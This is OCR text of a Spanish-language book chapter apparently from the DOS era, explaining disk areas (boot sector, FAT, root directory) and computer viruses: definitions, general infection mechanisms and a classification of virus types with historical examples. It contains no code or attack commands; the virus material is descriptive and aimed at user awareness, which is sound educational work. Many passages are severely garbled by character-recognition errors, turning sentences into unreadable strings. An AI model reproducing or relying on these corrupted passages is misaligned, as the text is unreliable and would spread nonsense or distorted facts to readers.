equivalen a un byte -u octeto-, el cual se ha tomado como la 
u m dad de medida para la capacidad de almacenaje que pue­
de tener la memoria convencional o RAM de la computadora 
y los diferentes medios magnéticos utilizados par<1 almace­
nar la información, como son los discos, casetes, cintas, car­
luchos, CD-ROM's, ele. 

2.2.4 Areas críticas del disco 

1 
-L..-

En ell<~do O cara O del disco, el sistema operativo DOS reser­
va el sector O (cero), en la pista O (cero), como el área de carL~a 
(boot area), donde se aloja un pequeño programa escrito en 
lenguaje de máquina que inicia el proceso de carga. Ensegui­
da, en Jos sectores 1 y 2 se aloja la tabla de asignación de archivos 
(File Allocation Table, FAT) gue se encarga de llevar un re­
gistro de todos los archivos, ~u dirección y Jos sectores que 
ocupan. 

Los sectores 3 y 4 guardan una copia de /atabla til asig11ació11 
de archivos como medida de seguridad; ésta se actualiza cada 
vez que se graba u borra un <~rch¡vo del disco. Por ejcmpll), 
en un di~co fijo de .JO M B, la t01bla de asignación de urchivos 
ocupól l62 sectores, 81 para la tílbl<l origin<ll y 81 pttr<l la co­
pia; el disco ilustrado en la figura 2.5, que tiene un<~ cap<lci­
dad de alm<JCen<lmicnto de 102MB, utiliza 400 sectores par<l 
alojar la FAT y su copi11. 
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Figura 2.9 
Disquete 
dividido en 
p1stas y sectores. 
mostrando tos 
sectores donde 
se alojan el 
programo de 
cargo, lo FAry el 
direclorio. 

Los sectores 5 a/11 alojan el d1rectono roíz (root directory). 
En este directorio se lleva un registro del nombre de cada ar­
chivo, con la fecha y hora de su creación; además, lleva un 
registro de los c/usters que indican el comienzo y el final de 
cad,1 archivo en la tJbla de ilsignación de archivos, y final­
mente la longitud o tamaño de cada archivo en bytes. Recuer­
de que esta descripción corresponde a un disquete de 5 11:1 
pulgadas de 360 k B. 

Existen métodos que permiten interpretar el contenido de 
la tabla de asignación de archiv<•s, pero su explicación está 
más allá del propósito de este libro por los conocimientos al­
tamente técnicos que se requieren. Por tal razón preferi­
mos mencionar ciertos programas de utilidad que cumplen 
la misma función, ellos son: Norton Utilities, PCTools, Mace 
Utilities y otros. Todos ellos tienen funciones que permi­
ten ver un mapa de cualquier área del disco y desensamblar 
en el monitor por sectores o clusters la información ahí con­
tenida. 

La tabla de asignación de archn·os está 01ganizada de for­
ma tabular con números hexadecimales comprendidos entre 
el OH y el OOOH, los cuales muestran los atributos de cada sec­
tor de la siguiente manera: 

0000 
FFFO a FFF6 
FFF7 
FFF8 a FFFF 

= Sector disponible 
= Sector reservado 

Sector dañado 
= Ultimo registro del archivo 

Figura 2.10 
Disquete de 5 V4 
pulgadas (floppy 
d1sk) y disquete 
de 3 lf.? putgados 
(micro floppy 
disk). mostrando 
la muesco y 
obertura de 
protección 
respectivamente. 
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En la figurJ. 2.10 se mucstr<~n disquetes está':dar de 5% 
pulgadas (floppy dísks) y de 3 'lz pulgadas (m1cro floppy 
disks), con su fund<J bi<Jnda el grande Y.s~ .cub1erta de plash­
co el pequeño. En los dos. ~e ven los onf~c1os o muescas que 

·se utilizan p<ua \<1 proteccwn co~11ra esc:1tura. 
Algunos virus se 11lojan en lus arcas mas vulnerables de lo.s 
discos que son el scclor dt• er1rsa (Boot sector),.la ta~!tl de part1." 
cíones (en el c<1so de discos fijos), la tabla de astgHaClOil de are/u­
vos (File Aloc<~tion Table, FAT), o en lo~ sectores que ocupan 
los arcl!i·pos de sistema o los programas CJecutab/es o progr~ma.s 
del usuario. Por eso es t.m importante saber cómo se dJstn­
buye la información en los d1scos. 
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L os virus de las COIIIplllndorns no son mas guc prvgrn111as. ¡Sí, 
simples progrJmas de computación elaborados por pro­

gramadores! Estos son programas similares a un procesador 
de textos o una hoj.:J de dlculo, a un programa de base de da­
tos o a un programa de control de invenlanos. Es decir, pro­
gramas que contienen instrucciones para que las ejecute la 
computildüril. Como tales programas, los virus informáticos 
sólo reJiizarán las tareas que les fueron programadJs en su 
código, ni más ni menos. 

Los virus informáticos cas1 siempre son mlroducidos en las 
computadoras a través de copias 1legates o pirateadas. Los virus 
provocan, desde la pérd1da de datos o archivos en los medios de 
almacenamiento de información, hasta daños al sistema y, 
algunas veces, incluyen instrucciones que pueden ocasionar 
daños al equipo. 

3. 1 Características de los virus 

1 Nota: 

• 

Estos programas tienen algunas características especiales: 
son muy pequeños -en muy pocas líneas contienen instruc­
ciones, parámetros, contadores de tiempo o del número de 
copias, mensajes, etc.-; casi nunca incluyen el nombre del au­
tor, ni el registro o copyright, ni la fecha de creac1ón; se repro­
ducen a sí mismos y toman el control de la computadora o 
modifican otros programas. 

Están escritos generalmente en lenguaje ensamblador, 
pero muchos de ellos han sido elaborados utilizando alguno 
de los lenguajes más populares, como C, C++, Pascal, Turbo 
C o Turbo Pascal. Como experimento hemos realizado pro­
gramas en BASIC introduciendo un código parecido al de los 
virus, con buenos resultados; obviamente esos programas, o 
han sido destruidos o se han utilizado para los fines contra­
rios a los de los virus, proteger áreas de memoria o discos fle­
xibles o duros. 

los diferentes tipos de computadoras, como por ejemplo Atari, 
Macintosh, Amiga, PC compatibles con el estándar da tBM y 
Comodore, por menc1onar algunos, funcionan también con 
diferentes sistemas operativos. por lo que la mayor(a de los virus 
informáticos son específicos para cada tipo de sistema: es decir, 
un virus hecho para atacar las Macintosh generalmente no infecta 
a las PC's . 
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\ Los sistemas más expuestos a los ataques virales son los 
IBM o comp.:J.tJblcs por dos r.:J.zones: un.1, que es el tipo de 
comput.1dor.1s -y por ende su sistemil oper<lti\'o- más exten­
dido .1 tr.:J.vés de todo el mundo y dos, porque el s1stema ope­
rativo que utilizan -MS-DOS o PC-DOS-, no 111cluye 
métodos de seguridad adecuados. 

3.2 Los virus informáticos existen 

La Computcr Virus Industry Association (CVIA) rCportaba 
ya en 1990, que sólo en Estados Unidos se habían detcctJ.do 
más de 500 formas de infecciones virales, las cuales afectaron 
a unas doscientas mil computadoras. No obstante, es posible 
que aproximadamente un 50% de casos de infección no se ha­
yan denunciado. 

Nota: Hoy, en los reportes acerca de los virus conoc1dos y sus variantes, 
de algunas empresas que se dedican a fabricar ant1virus y a 
ofrecer asesoría al respecto, se anuncian más de 4 000 d•lerentes, 
y cada día crece este número en alrededor de 6 nuevos virus. 

\ 

Los costos generados por los virus informáticos son muy 
altos -de muchos millones de dólares-, fundamentalmente 
por concepto de pérdida de información que deberá ser rege­
nerada, así como por la limpieza y respaldo (backup) de los 
archivos y programas. 

¡No cabe duda, los virus informáticos existen, están <1quí1 
Cada día se detectan nuevos t1pos de ellos y ya no es posible 
seguir ocultando su existcncin. Por su purte, los virus conoci­
dos son constantemente modificados para cnusar mayores o 
diferentes dnños y evit;u su detección. Es necesario <1frontar 
el problema con mcdid.1s adecuadas y no ser víctimas del pá­
nico ni tomar medidas extremas, como dar formato al disco 
fijo que se supongn esi<Í infectado. ¡Ese debe ser el último re­
curso al cual acudir! 

La mejor m<~nera Jc enfrcnt<~r a los \'irus inft)rmáticos con­
siste en reconocer que tenernos un problema, y pensar que lJ 
mayoria de los problemas de las computadoras son causados 
en primer lugar por los humanos. Luego, indague usted si se 
trata de fallas en el hardware. Finalmente, cuando haya ago­
tado todas las posibilidades de fallas conocidas: ¡Cuidildo!, 
puede ser un te111iblc virus el causante de sus preocupaciones. 

T 
1 

Figura 3.1 
Al apagar ro 
computadora, 
ros virus mueren. 
hasta que usted 
vuelvo o 
encenderla o 
ejecute un 
programa 
1nfecrodo 
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Por ello, lo mejur que f1UL•de h~1Ct'r .11 ~lelect.1_r algo e\triliio 
en lil computadora es Jp.lg<HI.l. Eso hJra lJliL', Sl efcctr\-JI~lcn­
te se hil IlllTOJUCldO Ul1 r'>rngr.1111,1 d~_• \'ll"liS ,1 [J 111~1110flil,, e] 
mismo quede temporZtlmentL' L'lnnm.1du, y.1 que estos solo 
áctúan mientr,ls el .:;istL'm.lL'SiL' L'I1Ll.'l1llldu. 

Esto es; 1111 Pl/"11~ t':> daJluw :'tÍ/¡) CI/11/Jdtl t':>lá nciJPtl t'JJ la mcJ_IJt~­
rin de la co/1/putndoro, y ~lL'mpre '>L' actl\-.H.l cu.1ndo usted IIH­
cie lil c.1rga del sisll'ma de~l~L' un d1SLll HliL'~I,ld_n o l'JeCute un 
programa quL' hay.1 ~idtl lniL'ct.ldo p01 .1lgun \'lrus. 

Al encender su computudor,1 nue\'í1.n_lcnte, po1.~r.í. ?pircar 
algu11.1S medid<l~ ~li"L'\'L'Iltl\',1S dl' dl'IL'L~Hlll )' L'ITíldiCaCH?Il del 
virus que h<~yil 111\',llildo ~u ~istem,l. l:sln se l1.~gr.1 hac1e~1do 
que el sistcm<l opL'r.ltÍ\'tl ,nrunque d~~d.e b u~H~ild_ de ~f1~co 
A con un d1squdL' proil'g1do cun\1.1 l'SLIIILIIJ, Lll) l? umtuudo 
sepamos que est.í. JibiL' de \'irus. Cumo \'erl'~ll~lS mas ilde~ante, 
ese m 1smo disquete ¡)u~_•de Ctlllll'ner lus ,HllJ\'II"liS y demas he­
rram1ent,lS que k ¡wrlllll.ln cur,H !.1 Olmputadtlr.:J. enferma. 

3.3 Definición de virus informático 
Antes de prcsent.1rse L'l p1nbkma de los \'1rus en lils grandes 
empresas, en [,1s depl'lldl•ncJ;.s dL•I gohlcrno .. v h.1st.1 en lns 
centros de in\'L'st 1g.tcJt-lll h.1hí.1 1111 gr.1n L'SLL'fJIICJSll1ll st1b1c el 
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turéls del progrilma virus con las estructuras de otros 
programas 

' 

informáticos, por lo que hasta hace poco todavía no se había 
dado una definición exacta de ellos. 

En su iJbro What you should klww about Computcr Virusts, 
Ralph Burger los define como u" programa que put•de /11SCI lar 
copias CJt'CIIfnb/es de sí 1111511/0 C/1 otros programas. -El programa 
infcctJdo puede infectar a su vez otros programas-. 

Por su pi:trle, Alberto Rojas, conoCJdo dcsarrollch.for de 
soft\vare, los identifica en un artículo public<Jdu con el nom~ 
bre de ¿Ya vacunó su PC?, como Todo nqw.·/ cádigo que al ser 
ejecutado altera In estructura del software dd sistema y dcstmye 
programas o datos sin nutarizacJónui conocilltiCHto del operador. 

Además, Rojas los agrupa en tres grandes áreas: Caballos de 
Troya, Virus aulorreplicables y Esquc/llns de prol ecciÓil. Esta ddi­
nición esta más cerca de la realidad, pues en teoría todo pro­
grama que tiene capacidad para modificar la estructura de 
otro progr<~ma y realizar operaciones de sobrecscritura en la 
información que contienen los discos, podrí<1 ser un virus po­
tencial. 

No obst<lnte, el artículo de Rojas especific¡¡ claramente que 
los virus nunca piden permiso y ¡amás avisan de su presencia 
en d sistema o en el programa infect.-.do. 

Ya en 1981, en la Universidnd de Dortmund, de Alemania 
Federal,]. Kraus escribía acerca de la autorreproducción del 
software: Suponga qui! A es 1111 prognmta válido que lm sufo escri­
to en e/ lenguaje 8: Si el ¡nogrnmn A 110 fÍl'IIC e11trndns y reproduce 
su cód1gv de máqumn en fvnun impresa -con e:racl itud- o lo copw 
e11 la memoria collveucional o RAM, se puede concluir que el pro­
grama A es -es/ rictnme111f.'- nutorreproduct ivo 

Aunque no se puede aplic,1r esta definición a los progra-
mas de virus informáticos, porque un v1rus no siempre se au­
torn.•plica exactamente sino que a veces reproduce solamente 
ciert<~s partes de su programa, Kraus sólo toma en cuenta la 
reproducción del código del programa y no su inclusión den-
\1!1 ele otros. Por lo tanto, el autor considera que las definicit)-
l+.:~ :lt,ÍS Jceptablcs son la de 1\alph Hurger ( 1) y la del Club de 
Virólogos de tv1icrocomputadoras de Guadalajara (2), que in-
cluimos a continuación: 

1. Un progr.m1a debe ciJsiflcarse como virus si combn1.1 los 
siguientes Jfributos: 

> Modificación de códigos del software q11L' 110 pcrtcllt'Ct:/1 
o! J!I'Opio prognmw vims, a t rad~s del enlo1ce de las cst ruc-

;.;.. Facultad de cjecut<H l<1 111odificació11 en \'arios program01s. 
> Facultad péira reconocer, mmcándola, u11.t modificación 

realizJda en otro(s) programa(s). 
,. Posibilidad de impedir que vuelva a ser modificado el 

m1smo programJ, al reconocer que ya está i11jcctado o 
marcado. 

;,... El software modific.::~do <1simila los atributos anteriores 
para, a su vez, iniciar el proceso con otws programas en 
otros discos. 

2. Son programas que en form<~ prevista por sus autores, 
causan daii.os a otros progr<~mas, archivos, discos y otras 
partes de la computadora, y algunas veces se autorrepli­
can completa u pan.:ialmcnte. 

Para los usuMios que no tienen mucha expenenCJa en la 
programación y conocen poco de 1.1 estructura y funciona­
miento interno de L:ts computadoras, resultJ difícil entender 
claramente lo que es un progr.w1a de vi1us; sobre todo por­
que existe una gran vanedad de ellos, funcionan de muy di­
versas maneras y producen efectos bastante diferentes, 
dependiendo del área del disco que afecten, además, la c<~pa· 
cidad dcstructl\'<1 o de perturbac1ón del trabaJO que tumen los 
virus va en función de la c<~pandad de las mentes --creadoras 
o destructoras- de sus autores, pudiendo d.Jrse el caso de que 
al desatarse la destructiva acción del virus, escape al control 
de su mismo creador, pues actúan pMecidu a !<1 rmcoó11 c11 cn­
de¡w di! la }1sión 1111clenr. 

3.4 Cómo funcionan los virus informáticos 
Como se mencionó anteriormente, los virus informáticos tie­
nen mud1,1'i formas de opl'• .u. Aquí mtcnta1e111us Jar una 
idea cl,1ra de la forma más general de funcionamiento de los 
programas de virus. Para ello, hay que cmpez.1r por conocer 
cómo funcion<1n la mayorb de los programas de <~plicación 
que utilizamos di.ui,HnL'nte 

Estos programas, que ll.1maremos normales, operan cas1 
todos de mancrJ scmej.1ntc y se ejecutan tan pronto se teclea 
su nombre de archi\'o -sin ncccsid.1d de teclear 1.1 extensión­
y se puls<~ ~· l'or ejemplo, p.H<l cnr:\nr \tVorks -de /'vhcrusoft­
en la memona de la comput<ldora, -cuyo archi\'O ejccut.1blc 
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Sl' cknnmin,1 \\'Ol~K.S EXE:-, h,1st.1 con teciL'<H \\1prk.-;-) puls.H 
l.]. De la mism.¡ m.1ner.1 lunoon.m ca~1 tndns lo:> .udli\'OS 
cjecut,1bles. 

El p10gri.lma ~L' carg.1 dL~ mmcdi.1tn l'll 1.1 lllL'morL1 c1)!l\'L'll­
ci~m.ll n RA!\.1, y pl'rm.lnecc .1hí ll1lL'ntras se manteng<~ enCL'Il­
dH.t~. j.-¡ C\l!ll!)U\,HJOr<l -y 110 Sl' \(' llldique ljlll' dL'SL',lllWS 

ll'rJJ//llllr su l')C'ClKHÍn-. El proCL'dimu:>nto COfiL'Cln p,u,1 s.1hr 
de un p1\1~; r ,, 111.1 no sóhl se L'lll\1 rg.1 dL• htlflllllo tk b ;nemun.1 , 

sino que \.1mbil•n cierr.1 <~plOpl.lll.lmL'Ille todos lo~ .Hchl\-nS 
que t;Sie m.mh•JIÍ.:l abit'rlos para gr.1b.1J" o k•L•r ·],¡ infonn.Kitln 
n~·ct·~.ll\,1 Finalmente, SI lns h<1y, borrJ de I11S thsquL'kS n dl'l" 
ti! sen duru, lo~ ~1/dllt'tlS lt'IIIIIOrlllt':.' que crc.1n ciertos F'Jogr.l­
llltlS dl' JpilCtlCltlll durtlntL' !.1 ~esiln1 dl.' tr,ll,,ljtl. 

Los J.H<l,~rtlm.ls dL' \'!rus no se ejt•rut.ln de 1.1 mJ:>m,¡ ft)JJ11,1, 
sino que s~ infiltr.1n en L'l .sist~._•m;¡ cu.1ndn a("IÚt'll mtroduce 
undl:'t"llll~{t'cilldtl .1l.1unid.1d de di~quete v tr.11.1 dt.: Jnici,¡lJzJr 
J¡¡ ... -omputadt)f,l utliiZ<lndolo; n cu.mdo :::~ L'JeCuta uno dL' los 
ptogr,un,ls inkct,1dos que L'~t! ~iiSCil cnnti,:nt>. lnnwdi;1t,1tnL'll­
tc el \'tnls busc.1 .l)n¡.H.se en].¡ memort,l H,\,\1 de 1.1 ... -nmput;-~­
dor;t, infect;n L'l ,í.re.l de cJrg:~ {bont) dl'l disco, !.1 t.1bb de 
JsignZJCH-lll dv .ll'(Íll\ o .... , F:~T (Flk, ,\IJo~ZJiit.lnl~lhll'), quL' con­
tJL'llL' todL•S lus ,1,1\os de ditL'CCIOllJmiL'lllo de lo~ .Jrchi\'¡)S, u 
los pwgr.1mZJs L'Jt.'Cut:~bks COilL':\Icnsit'ln C0 1\1 v EXE --<Hll1-

quc ,¡lgunns \'Íru~ dL' las lllll'\·:~s gener:!Cll)tws' lnlt:ct;¡n los 
ejccutabll'S :!Lt\.tli;¡rcs cnmn .BAf, .OVI~, .0\'1., DLL \' otrn'>-

Lu <tn_IL'nor nn s¡gnific.1 que el \'Jrus ~e\':!)'·' a l'jL;cut.H L'n 
ese prenso momento, sino que el sistcm.1 h:~ sido iH(ecfado. El 
vnus puL·de <tc\u,¡r mmediíl!anwnte, o b!L'll espcr.u· íl que ~e 
den bs condJCton_es u_~eii.:~les propic1.1s que fuL'ron ptOgr.l­
m~d.ls L'll su cnd¡[¡c:~cwn. 1-l;¡y \'lrus qlle csper,m un.1 dt._•\er­
min<~d<l fech.1 u h.ur.l, n 1.1 ejecucit'm dL' .dgun.-. orden o 
com.1ndo; n!rns :~ctt\',lll un nltlt<tdor (coun!er) t~n el momento 
de 1.1 lnlt•cciún y cil'I to tiempo dL·~pués COlllJL'IlZ.ln su .lccit)n 
des t ru e ti\' .1. 

Algunos \'irtl~ .. ill mfect.1.r un di:.'CO }7t'\'Thlc (tlnppy d 1sk) 0 

uno dum (11.1rd d1sk), se illo¡.mL'n L'l sector n, t.'n el .írea dL'nn­
mm<td:~ :.'t't'for dt' CIIISII (Bntl! SL'Ctur), y :-.e posJci1ut.lllL'll 1.1 lllL'­
mon.t de b ,·nlllf1U!.tdnr.l cu.mdn St~ h."'CL' !.1 nll•.;a (l'ont) dL·I 
sistL'm.l. u mciuso ... -u.tndo :-.oi.Jnu·nk ~~~ h.lLL' u'n 1niL'llhl d~..· 
C."'fg.l con L'l d be o 1 tlfect.Jd t 1. En ('S le e ,bP, t.'l \'! ru~ 1n ft u nd. t leo 
tom.lL'I contn1l d0 1.1 comput.tdnr.l dt.·~dt_'t•l pt innpul \', desdt.• 
ese momL'Illtl, ttldo dtscn qued.u.í infect.tdo ,¡] re.di/.u cu.li­
C]lllL'r <ICCL'~ll dl' ]l'C[U[';\ O t.'SClltUr.l Ctlll LU<l]qu1l'r,l de illS Cll­
!11.llldo .... Cory. Dir, r:ormal, l'\c 

T 
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Figura 3.2 
Los wus esperan 
una senat como 
uno lecho o uno 
hora 
de!ermlnoda. 
porO OCIIVOfSe. 

aunque desde 
un princ¡p10 
1nfectan todos 
tos discos que 
estén en 
contacto con 
ellos cuando 
están en lo 
memona de lo 
computadora. 
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O! ros \'irus mfectan los progr.lm.ls c¡ccut.1bk..:. -...-nn 1!\.tl'll­

Slt)Jll'S .COi\1 o EXE- \'se mstíll.ln en];, lllL'lllon.1 cu.1ndu se 
c¡ccuta el progr.Hn.l ¡,{[eL'!.Jdo_ Un.1 \'L'Z en 1.1 ll1L'llltlri.l, el n­
rus controla lodos los .tccl'sos de lt.•ctur.1 y gr.1b.1nón l'll los 
discos y, la nl.lynrí,l dl.! l.1s \'cce~. <~unquc se dé por termin,1d.1 
la ejt.>cución del prt'grtlmtl inlcL\;¡d~.,, el \'iru~ seguir.í l'n la 
memori:~ de la comput.1dnra, por lo que cu<1lquicr programíl 
que se ejecute quL'Lbr.í t<1mbuin HÜL'ct.llin_ 

Al e¡ccut<trse un nuevo progr.un,l, el \'iru~ \'criiJC<t si éste 
y<t h<t sido IJÜt~ctado y si contiene Ld /1ylt' 11/tiJCIIdor. Si no en­
cucntr¡¡ est,l nt.trc<t, ptocedc .1 mndd!C.lr el progr.unZJ ewcuta­
do y le contagia ese byte m<trc.tdor. L1 mfccnón CtlllSJ~te en 
almacen<~r un¡¡ copia de sí llliSillO L'll el progr.llll.l, ];t cu.Jl ser­
\'ir;í par.1 que .lleJCCUt<tr este nuc\'o program<t infectadll, a su 
\'eZ se reproduzc.1en otros program.1s. 

En este proceso, difícil de detect.u, ~e piL•rde p.ulc del pro­
grama infect.ldt) porque el \'lrus t.Klljll.l c::-.e lugar; lo m.ls re­
comendable es reinst<J],u l'l progr.lm<l original para que 
funcione correct.Hnente. El usu.11 io lu tínico quL' pudo h<tbcr 
not.tdo <tl momento de l<1 lllfvccttln, es que !.1 luz dt' la unidad 
de diSCt) en uso se L'llCÍl!mie p.11.1 indic.1r un ,lc(:e::O(I o~l d1::-co 
cu.mdo el VIrus gr.-.bó .1hí el byte llltll'C.Jdur y su nt'ICIL'tl. 

A !.1 \'l'Z que se ha cre.1do to...!J un.-. induslriil p.tr.l progr.l­
mar csquem,1s de prulecut'lll, SL' híln des<trJtlll<~dn progr;¡m:~s 
que permiiL'll h,Kcr cop1.1s de c.1si todo soltw.He dL' ;¡phc.t-
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ción, burlando tales protecciones, por lo que algunos progra­
madores han b<tsado la protección del progr<1ma en los conta­
dores (counters) que llevan un registro del número de copias 
que se han hecho de un programa. Así, cuando el usuario co­
pia un disco original, el contador indJC<l que se ha llegado a 
un nümcro 11 de copias y si coincide con el número máximo 
permitido, desata la acción del virus. 

3.5 Clasificación de los virus informáticos 
Los programas virulmtos inicialmente se agruparon en dos 
grandes categorías: Caballos de Troya y Bombas de Tiempo, aun­
que cada investigador del fenómeno hace su propia clasifica­
ción. La verdad es que indepe~dienternente de si uno 
clasifica o no como virus a un cierto tipo de programa dañi­
no, se puede cons1derar como tal, desde el momento que pro­
duce efectos nocivos en la pantalla o en el sistema. 

La Computcr Virus lndustry Association, que está integra­
da por compañí;~s y programadores que fabrican software 
dedicado a la prevención, detección y erradicación de virus, 
los agrupa en tres clases: Infectares del área de carga i11icial 
(boot infectors), /Hfectores del sistema, e lnfectorcs de prosrnmns 
eji!Cutnbles (extensión .COM o EXE). Existen también los de­
nominados Gusanos, V¡rus lógicos y algunos otros, sobre los 
cuales ya se han realizado investigaciones muy serias, de 
dond.~ han salido categorías como las que se detallan en se­
guida: 

» Caballos de Troya. Son aquéllos que se introducen al sis­
tema bajo una apariencia totalmente diferente a la de su 
objetivo final; esto es, que se presentan como información 
perdida o basura, sin ningún sentido. Pero al cabo de algún 
tiempo, y esperando la indicación programada, despiertm1 y 
comienzan a ejecutarse y a mostrar sus verdaderas intencio­
nes. También pueden aparentar ser un programa de juegos 
o entretener al usuario mostrando pantallas espectacula­
res y sonidos agradables, mientras realizan operaciones 
dañinas para el sistem<J. 
En gcner<~l, estos virus son destructores de la m formación 
contenida en los discos. 

> Bombas de tiempo. Son programas ocultos en la memo­
ria del sistema o en los discos, dentro de archivos de pro­
gramas ejecutables con extensión .COMo .EXE. Esperan 

' 
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una fecha o una hora detcrmmadas par;1 nplolar. Algunos 
de estos virus no son destructivos y sólo exh1ben mensajes 
en la pantalla al llegar el momento de la e.tplosióll. Llegado 
el momento, se aclivan cuando se ejecuta el programa que 
-las contiene. 

> Autorreplicables. Son los progr<~m<~s de virus que re¡¡Ji­
zan l<~s funciones mí1s parecid<Js <1 los virus biológi~os, ya 
que se autorreproducen e infectan los programas CJecuta­
bles q\ll' encuentran en el disco. Se acti\•an en una fecha u 
hora progr<1rnadas o en da determinado tiempo, cont~do a 
partir de su líltima ejecución, o simplemente al se11/1T que 
se les tr<1ta de detectar. 
Ejemplos de éstos son el virus dl'l u1enu·s 13, que se_ejecuta 
en esa fecha y se borra -junto con los programas mfecta­
dos-, evitando así ser detectado, o el Michelangelo, que se 
activa los días 6 de marzo. 

> Esquemas de protección. Aunque no son r~ropi<~nu~nte 
virus destructivos, son daii.inos porque se ilcttvan cuando 
se ha copi<~do o se intenta copiar un programa que _está pro· 
tegido cou/ra copia. Esto provoca que se bloqua el mismo, <~I­
terando su estructura onginal o dañando los archiVtb, de 
manerJ que resulta muy difícil su recuperación. 
Los virus promocionales caen boja esta categoría y <Jctúan 
permitiendo que una copia ilegal traba!e correctamente. Al 
cabo de dlgún tiempo, cuando elusuano ha creado bastan­
tes archivos importantes, modifica su estructura y no per­
mite que !<1 computadora siga funcionando corrcct_a~ente: 
Ello obliga al usuario a comprar el programa ongmal SI 

quiere seguir utilizando la información que creó con la co-
pia pirata. , . , . 

)o> Infecto res del área de carga tmctal. Infectan los dtsquetes 
o el disco duro, alojándose inmedí,1tamente en el área de 
carga, o sea en el sector O. Toman el control cu~ndo se en­
ciende la computadora y lo conservan todo el tH'rnpo. 
Si al darnos cuenta de la presencia de un virus, intentamos 
reilzicinliznr (reboot) la computadora mediante las tcclilS 
@!TI +[E!) +[QE], para proceder luego a inicializar!~ con un 
sistema operativo que no esté infect<ldl> la m.1yona de ~as 
veces, el virus permílnecc en la memona del s1~tema e_m­
fecta al disquete inmediatamente, si t!ste no esta protegtdo 
contra escritura. El virus Alabamd es un caso típico. 

)o> Infectares del sistema. Se introducen en los programas 
de sistema como por ejemplo el COMMAND.COM y otros 
que se alojan como resideult's en memoria, o los archtvos 
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control,1dorcs tk Lhspositivos -con exten~ión 
fcct.1n t.:unbuin los Mchi\'OS ejL'Cut.tbles. "'''"! El vrms Natas -que deletreado al revés s1gnifie<1 sntán-, es 
uno de l'llos, f.JZÚn por tl cual se denomin<1 1)/rl/5 polh11V1jo 
(Polinwrph1C \'Jrus) y multipartita; es decir, que infecta de 
muchas mtlnl'r.ls. 

,. lnfectores de progr.amas ejecutables. Estos son Jos virus 
m.-ls pL·lq..;rosos, porque se disemin,m f.ícilmcnle h.1ei.1 
cu.llqlller programa-como hojas de dlculo, juegos, pmce­
st~dnrcs de textos, L'tc.- incluyendo una copi<~ de sí mismo 
en L'llos. 
L.1 infección se produce <1! ejecut.:Jr el progr<~ma que conltc­
ne el VJnts, que en ese momento se posiCiona en !.1 mem.n­
ria de 1.1 computaJl)f.J y a partir de cntonn.·s mfecl<l todos 
los progr.lmJS cuya e.\tensión sea EXE o .COM, en el ins­
tante de ejecut<~rlos. Esta operación p<1SiHiÍ madvcrtida 
p<1r<1 t..•lusuarin, pues él ~ólo \'er.í c¡ue !<1 luz de i.I unid.:1d de 
disco est<l enccndJti.l, lo cual sol.1mente indica que se est<l 
carg<Jndo el progr<Hll.l en la memoria de la computadora. 
Aunque la mayoría de estos virus ejecut<Jbles marca con un 
byte especial los progr.llnas mfcctados pnm 110 l'O/tlt'/'11 rcn­
lizm el pi¡JC¡':>V t'll elnus1nO d1sco, <1lgunos de ellos -como el 
de Jerusalén- se duplican tantas veces en el mismo progrJ­
ma y en el nusmo disco, que lleg.m a satur¡¡r su c<1pacid<1d 
de alm<Jcenamiento. 

;;.. Gusanos. Son program<1s que se reproducen <1 sí mismos y 
no requieren de un anLtrión, pues se arra:>trn11 hter<limente 
por todo el sistema sin necesidad de un programa que los 
transpork'. Los gusanos ~e carg<m en In memoria y se posi­
cionan en una determinada d1recoón, luego se cop1an en 
otro lugar y se borran dl'l que ocupaban, y así sucesiva­
mente, esto hilce que queden borrados los programéiS o ¡n­
formación c¡ue encuentran a su paso por la menwria, lo 
que CdUS.l problem.1s de operación o pérdida de datos. 

,. Haked. Se denom111a de esta manera a una copia ilegal de 
algún softw.Jre conocido, que h<1 sido modificada pero pa­
rece legítim,l; ¡¡J e¡ecutdl' esta cop1a se producen problemas 
y daiios en el sistema 
RecibL' ese nombre dt•bJdn .1 que prob.1blemente l'S un hílc­
ker el que reJitza l<1s modif!C<Kiones <1l program<1 unginal, 
y la mayoría de los casos conocidos ~un acerca de progra­
mas an!Jvirus modificados; de est.1 manera, usted cree que 
soluciona el problema de un virus, cuando re;¡lmente se 
cstiÍ echando otro encim.1. 

i 
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.,. Virus lógicos. Son prt))!,f,lmas norn1<1les que si no se ma­
nepn con cutd.1do pueden pmduc1r d.llios en la Informa­
ción, modiftdndol.l o borr.índnla y tomtmdo su lug.:H. Por 
e¡emplo, puede tbrse el c,lSo de renombr.H un programa o 
un archi\'tl dt' d.Hos p<1r.1 que hmle L'llugar que ocupab.1 L'l 
anterior ,uchi\·o con el llll::>!llo nombre, o el \'irus lógico 
mo.ís cmwcJdll que L'S: Del~."', y que tiene el omsmo de pre­
guntar¿ fjfiÍ usft'd ::h'gtuo? (:.)'¡¡\1

) 

Rcprnducmws clCJliÍ un.l t;racioS<l cl.lslftCilCH)n de los \'irus 
informJLJCn.S -y Lln por L'llo menos realista 111 representativ<J-, 
pub!Jcada pur L'i C. 1'. ~1.uco A. ~lerint) en la revista Expun­
sión, h.Ke yJ \·arios tll1ns 

.,_ Virus benignos. No oc,lSJonan dalios pero rc::>ultan mo­
lestos pt)l que, .11 cst,¡ r traba J<llld(J, envían un lllL'nsuje na\'i­
dclln o de cu.1lquJL'r utra cl.1:::.e -El virus del JliiiS JlOIIX n de 
la pt'lot 1ta, plH L'jl!nlpltl, L'S untJ dt..• estos- t\ decir \'L'rdatl, no 
puede h,ÜlL'!' \'Jrus belll!!,llOS, Y·' que .11 C.lllS<ll nwle~lla~ al 
momento de tr,1buj.~r, deJ,lll de serlo. 

;... Virus burlones. Un.1 vez reuliz¡¡dus su~ leclwrías o dat1os 
a la información, visu,1li/.illl un mens.1jc en la p.lnt,llla que 
avisa butlun.lmente de su lr.n·esur<J, como el EGAIJTI{, 
que desput!s de borr:.r los Mchi\'us del disco duro presen­
talM el llll.'llS.lje Alfl A1J! Gol ytlll. 

>Virus caóticos. NtJ destruyen .HChi\'OS ni prngr.11nas, 
pero ocaswnan dailos al sistema, pruvoc<1ndo su caída. 

;;;. Virus crecidos. t\Ln·c¡¡n los sectores infectados como da-
11ados, disminuyendo considerablemente 1,1 ca p<Kidad de 
almacenumientn del disco. 

,_ Virus descarados. Un.1 vez reah/.ad.1 su acción, enví<~n 
mcnsajes burlones e incluyen el nombre, dirección y tt.>lé­
fono de su uutnr o <Httorcs. 

;.;. Virus estadísticos. Lle\·,m un contador con 111 relactón de 
i<ls veces que h.m infectado otros d1scos o J¡¡s \'L'Ces que han 
sido copi.1dns. 

;.;.. Virus físicos. Se conoCL'll h1s que d.lt1an t.>l monitor y los 
